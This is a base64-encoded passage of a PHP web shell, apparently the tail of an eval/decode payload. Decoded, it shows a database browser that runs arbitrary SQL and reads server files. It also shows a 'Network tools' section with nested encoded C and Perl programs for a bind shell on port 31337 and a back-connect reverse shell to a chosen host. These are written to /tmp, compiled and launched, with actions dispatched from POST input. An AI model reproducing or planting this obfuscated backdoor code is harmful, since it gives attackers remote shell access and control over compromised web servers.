OwoJCQkJCSRudW0gPSAkZGItPmZldGNoKCk7CgkJCQkJJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10g LyAzMCk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1 bmN0aW9uKCl7c3QoXCIiIC4gJF9QT1NUWydwMiddIC4gIlwiLCBkLnNmLnAzLnZhbHVlKX08L3Nj cmlwdD48c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoeyRudW1bJ24nXX0gcmVjb3Jkcykg UGFnZSAjIDxpbnB1dCB0eXBlPXRleHQgbmFtZT0ncDMnIHZhbHVlPSIgLiAoKGludCkkX1BPU1Rb J3AzJ10pIC4gIj4iOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIiBvZiAkcGFnZXMiOwogICAg ICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpCiAgICAgICAgICAgICAgICAgICAg ICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIs ICcgLiAoJF9QT1NUWydwMyddLTEpIC4gIiknPiZsdDsgUHJldjwvYT4iOwogICAgICAgICAgICAg ICAgICAgIGlmKCRfUE9TVFsncDMnXSA8ICRwYWdlcykKICAgICAgICAgICAgICAgICAgICAgICAg ZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAu ICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7CiAgICAgICAgICAgICAgICAg ICAgJF9QT1NUWydwMyddLS07CgkJCQkJaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpCgkJCQkJ CSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAg T0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7CgkJCQkJZWxzZQoJCQkJCQkkX1BPU1RbJ3AyJ10g PSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMydd KjMwKS4nLDMwJzsKCQkJCQllY2hvICI8YnI+PGJyPiI7CgkJCQl9CgkJCQlpZigoQCRfUE9TVFsn cDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgewoJCQkJCSRkYi0+cXVl cnkoQCRfUE9TVFsncDInXSk7CgkJCQkJaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7CgkJCQkJCSR0 aXRsZSA9IGZhbHNlOwoJCQkJCQllY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0x IGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbj4nOwoJCQkJCQkkbGluZSA9IDE7CgkJCQkJCXdoaWxl KCTilp8gPSAkZGItPmZldGNoKCkpCXsKCQkJCQkJCWlmKCEkdGl0bGUpCXsKCQkJCQkJCQllY2hv ICc8dHI+JzsKCQkJCQkJCQlmb3JlYWNoKCTilp8gYXMgJGtleSA9PiAkdmFsdWUpCgkJCQkJCQkJ CWVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsKCQkJCQkJCQlyZXNldCgk4pafKTsKCQkJCQkJCQkk dGl0bGU9dHJ1ZTsKCQkJCQkJCQllY2hvICc8L3RyPjx0cj4nOwoJCQkJCQkJCSRsaW5lID0gMjsK CQkJCQkJCX0KCQkJCQkJCWVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsKCQkJCQkJCSRs aW5lID0gJGxpbmU9PTE/MjoxOwoJCQkJCQkJZm9yZWFjaCgk4pafIGFzICRrZXkgPT4gJHZhbHVl KSB7CgkJCQkJCQkJaWYoJHZhbHVlID09IG51bGwpCgkJCQkJCQkJCWVjaG8gJzx0ZD48aT5udWxs PC9pPjwvdGQ+JzsKCQkJCQkJCQllbHNlCgkJCQkJCQkJCWVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxz cGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJzwvdHI+ JzsKCQkJCQkJfQoJCQkJCQllY2hvICc8L3RhYmxlPic7CgkJCQkJfSBlbHNlIHsKCQkJCQkJZWNo byAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8 L2Rpdj4nOwoJCQkJCX0KCQkJCX0KCQkJCWVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9 J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtk b2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnkn IHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsKICAgICAgICAgICAgICAgIGlmKCFl bXB0eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpCiAgICAg ICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7CiAgICAg ICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVl PSdFeGVjdXRlJz4iOwoJCQkJZWNobyAiPC90ZD48L3RyPiI7CgkJCX0KCQkJZWNobyAiPC90YWJs ZT48L2Zvcm0+PGJyLz4iOwogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykg ewogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIDEgRlJPTSBteXNxbC51c2VyIFdI RVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQgYEZpbGVfcHJpdmAg PSAneSciKTsKICAgICAgICAgICAgICAgIGlmKCRkYi0+ZmV0Y2goKSkKICAgICAgICAgICAgICAg ICAgICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9j dW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVy biBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAn IHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9y bT4iOwogICAgICAgICAgICB9CgkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgewoJ CQkJJGZpbGUgPSAkZGItPmxvYWRGaWxlKCRfUE9TVFsncDInXSk7CgkJCQllY2hvICc8YnIvPjxw cmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsK CQkJfQoJfSBlbHNlIHsKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigp KTsKICAgIH0KCWVjaG8gJzwvZGl2Pic7CgloYXJkRm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9u TmV0d29yaygpIHsKCWhhcmRIZWFkZXIoKTsKCSRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1Vn UEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFa R1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlD cGhjbWQyVzEwcElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOMElITnZZMnRoWkdS eVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIyNG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpo Yldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9Z WFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlH bHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtW VUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052 Ym01bFkzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0puTnBiaXdnYzJsNlpXOW1L SE4wY25WamRDQnpiMk5yWVdSa2Npa3BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEy OXVibVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQWdJSDBOQ2lB Z0lDQmtkWEF5S0daa0xDQXdLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5 S0daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJnZ0xXa2lLVHNOQ2lBZ0lDQmpi Rzl6WlNobVpDazdEUXA5IjsKCSRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNE UXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZI d2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NS QlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3 Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVM Q0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNt OXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdV b0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNO Q205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQ aVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1Ux UkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOwoJJGJp bmRfcG9ydF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFX NW5MbWcrRFFvamFXNWpiSFZrWlNBOGRXNXBjM1JrTG1nK0RRb2phVzVqYkhWa1pTQThibVYwWkdJ dWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdSc2FXSXVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRq TENCamFHRnlJQ29xWVhKbmRpa2dldzBLSUNBZ0lHbHVkQ0J6TEdNc2FUc05DaUFnSUNCamFHRnlJ SEJiTXpCZE93MEtJQ0FnSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCeU93MEtJQ0FnSUdSaFpX MXZiaWd4TERBcE93MEtJQ0FnSUhNZ1BTQnpiMk5yWlhRb1FVWmZTVTVGVkN4VFQwTkxYMU5VVWtW QlRTd3dLVHNOQ2lBZ0lDQnBaaWdoY3lrZ2NtVjBkWEp1SUMweE93MEtJQ0FnSUhJdWMybHVYMlpo Yldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2NpNXphVzVmY0c5eWRDQTlJR2gwYjI1ektHRjBi MmtvWVhKbmRsc3hYU2twT3cwS0lDQWdJSEl1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYUhSdmJt d29TVTVCUkVSU1gwRk9XU2s3RFFvZ0lDQWdZbWx1WkNoekxDQW9jM1J5ZFdOMElITnZZMnRoWkdS eUlDb3BKbklzSURCNE1UQXBPdzBLSUNBZ0lHeHBjM1JsYmloekxDQTFLVHNOQ2lBZ0lDQjNhR2xz WlNneEtTQjdEUW9nSUNBZ0lDQWdJR005WVdOalpYQjBLSE1zTUN3d0tUc05DaUFnSUNBZ0lDQWda SFZ3TWloakxEQXBPdzBLSUNBZ0lDQWdJQ0JrZFhBeUtHTXNNU2s3RFFvZ0lDQWdJQ0FnSUdSMWNE SW9ZeXd5S1RzTkNpQWdJQ0FnSUNBZ2QzSnBkR1VvWXl3aVVHRnpjM2R2Y21RNklpdzVLVHNOQ2lB Z0lDQWdJQ0FnY21WaFpDaGpMSEFzYzJsNlpXOW1LSEFwS1RzTkNpQWdJQ0FnSUNBZ1ptOXlLR2s5 TUR0cFBITjBjbXhsYmlod0tUdHBLeXNwRFFvZ0lDQWdJQ0FnSUNBZ0lDQnBaaWdnS0hCYmFWMGdQ VDBnSjF4dUp5a2dmSHdnS0hCYmFWMGdQVDBnSjF4eUp5a2dLUTBLSUNBZ0lDQWdJQ0FnSUNBZ0lD QWdJSEJiYVYwZ1BTQW5YREFuT3cwS0lDQWdJQ0FnSUNCcFppQW9jM1J5WTIxd0tHRnlaM1piTWww c2NDa2dQVDBnTUNrTkNpQWdJQ0FnSUNBZ0lDQWdJSE41YzNSbGJTZ2lMMkpwYmk5emFDQXRhU0lw T3cwS0lDQWdJQ0FnSUNCamJHOXpaU2hqS1RzTkNpQWdJQ0I5RFFwOSI7CgkkYmluZF9wb3J0X3A9 Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1ln S0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWph MlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtD ZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhS emIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVr S0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBa U0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lr TmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VO UFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkw SUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQ Q1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1Ux UkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5R Z1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlP VGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7CgllY2hvICI8aDE+TmV0d29yayB0b29sczwv aDE+PGRpdiBjbGFzcz1jb250ZW50PgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0nZyhudWxs LG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5wYXNzLnZhbHVlKTty ZXR1cm4gZmFsc2U7Jz4KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+CglQ b3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gUGFzc3dv cmQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJz4gVXNpbmc6IDxsYWJlbD48c2VsZWN0 IG5hbWU9J3VzaW5nJz48b3B0aW9uIHZhbHVlPSdicGMnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVl PSdicHAnPlBlcmw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPiA8aW5wdXQgdHlwZT1zdWJtaXQg dmFsdWU9J3N1Ym1pdCc+Cgk8L2Zvcm0+Cgk8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSdnKG51 bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1 ZSk7cmV0dXJuIGZhbHNlOyc+Cgk8c3Bhbj5CYWNrLWNvbm5lY3QgdG88L3NwYW4+PGJyLz4KCVNl cnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9Ii4gJF9TRVJWRVJb J1JFTU9URV9BRERSJ10gLiI+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2 YWx1ZT0nMzEzMzcnPiBVc2luZzogPGxhYmVsPjxzZWxlY3QgbmFtZT0ndXNpbmcnPjxvcHRpb24g dmFsdWU9J2JjYyc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JjcCc+UGVybDwvb3B0aW9uPjwv c2VsZWN0PjwvbGFiZWw+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz4KCTwvZm9y bT48YnI+IjsKCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsKCQlmdW5jdGlvbiBjZigkZiwkdCkg ewoJCQkkdz1AZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250 ZW50cycpOwoJCQlpZigkdykJewoJCQkJQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9y IEBmcHV0cygkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZixA YmFzZTY0X2RlY29kZSgkdCkpOwoJCQkJQGZjbG9zZSgkdyk7CgkJCX0KCQl9CgkJaWYoJF9QT1NU WydwMSddID09ICdicGMnKSB7CgkJCWNmKCIvdG1wL2JwLmMiLCRiaW5kX3BvcnRfYyk7CgkJCSTi lpYgPSBleCgiZ2NjIC1vIC90bXAvYnAgL3RtcC9icC5jIik7CgkJCUB1bmxpbmsoIi90bXAvYnAu YyIpOwoJCQkk4paWIC49IGV4KCIvdG1wL2JwICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3Az J10uIiAmIik7CgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiTilpYiLmV4KCJwcyBhdXggfCBncmVw IGJwIikuIjwvcHJlPiI7CgkJfQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgewoJCQljZigi L3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKCQkJJOKWliA9IGV4KHdoaWNoKCJwZXJsIikuIiAv dG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOwoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4k 4paWIi5leCgicHMgYXV4IHwgZ3JlcCBicC5wbCIpLiI8L3ByZT4iOwoJCX0KCQlpZigkX1BPU1Rb J3AxJ10gPT0gJ2JjYycpIHsKCQkJY2YoIi90bXAvYmMuYyIsJGJhY2tfY29ubmVjdF9jKTsKCQkJ JOKWliA9IGV4KCJnY2MgLW8gL3RtcC9iYyAvdG1wL2JjLmMiKTsKCQkJQHVubGluaygiL3RtcC9i Yy5jIik7CgkJCSTilpYgLj0gZXgoIi90bXAvYmMgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsn cDMnXS4iICYiKTsKCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JOKWliIuZXgoInBzIGF1eCB8IGdy ZXAgYmMiKS4iPC9wcmU+IjsKCQl9CgkJaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7CgkJCWNm KCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOwoJCQkk4paWID0gZXgod2hpY2goInBlcmwi KS4iIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsKCQkJ ZWNobyAiPHByZSBjbGFzcz1tbDE+JOKWliIuZXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9w cmU+IjsKCQl9Cgl9CgllY2hvICc8L2Rpdj4nOwoJaGFyZEZvb3RlcigpOwp9CmlmKCBlbXB0eSgk X1BPU1RbJ2EnXSkgKQoJaWYoaXNzZXQoJOKWmikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24n IC4gJOKWmikpCgkJJF9QT1NUWydhJ10gPSAk4paaOwoJZWxzZQoJCSRfUE9TVFsnYSddID0gJ0Zp bGVzTWFuJzsKaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rp b24nIC4gJF9QT1NUWydhJ10pICkKCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydh J10pOwo= '));